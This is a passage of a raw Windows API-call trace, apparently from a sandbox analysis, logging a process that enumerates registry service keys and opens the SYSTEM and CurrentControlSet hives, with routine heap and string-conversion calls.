WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0234.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.869] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0234.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0234.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.869] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0234.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0234.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0234.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.869] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0234.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0234.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0234.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.870] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0234.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0234.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0234.870] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0234.870] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0234.870] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0234.870] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0234.870] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0234.870] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0234.870] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0234.870] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0234.870] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0234.870] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0234.870] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0234.871] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0234.871] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0234.871] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0234.871] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0234.871] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0234.871] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0234.871] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0234.871] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0234.871] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0234.871] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0234.871] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0234.871] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0234.871] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0234.871] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0234.872] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0234.872] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0234.872] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0234.872] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0234.872] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0234.872] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0234.872] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0234.872] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0234.872] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0234.872] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0234.872] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0234.872] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0234.872] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0234.872] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0234.873] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0234.873] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0234.873] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0234.873] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0234.873] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0234.873] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0234.873] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0234.873] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0234.873] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0234.873] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0234.873] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0234.873] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0234.873] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0234.873] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0234.873] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0234.874] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0234.874] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0234.874] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0234.874] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0234.874] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0234.874] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0234.874] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0234.874] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0234.874] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0234.874] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0234.874] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0234.874] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0234.874] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0234.874] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0234.874] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0234.875] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0234.875] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0234.875] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0234.875] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0234.875] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0234.875] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0234.875] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0234.875] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0234.875] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0234.875] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0234.875] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0234.875] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0234.875] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0234.875] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0234.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0234.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0234.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0234.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0234.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0234.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0234.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0234.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0234.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0234.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0234.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0234.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0234.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0234.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0234.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0234.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0234.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0234.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0234.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0234.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0234.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0234.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0234.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0234.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0234.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0234.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0234.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0234.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0234.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0234.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0234.878] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0234.878] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0234.878] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0234.878] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0234.878] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0234.878] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0234.878] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0234.878] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0234.878] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0234.878] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0234.878] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0234.878] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0234.878] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0234.878] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0234.879] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0234.879] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0234.879] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0234.879] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0234.879] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0234.879] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0234.879] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0234.879] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0234.879] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0234.879] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0234.879] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0234.879] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0234.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0234.879] RegCloseKey (hKey=0x150) returned 0x0 [0234.879] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0234.879] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0234.880] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0234.880] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0234.880] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0234.880] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0234.880] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0234.880] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0234.880] RegCloseKey (hKey=0x80000002) returned 0x0 [0234.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0234.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0234.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0234.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0234.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0234.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0234.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0234.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0234.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0234.881] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | 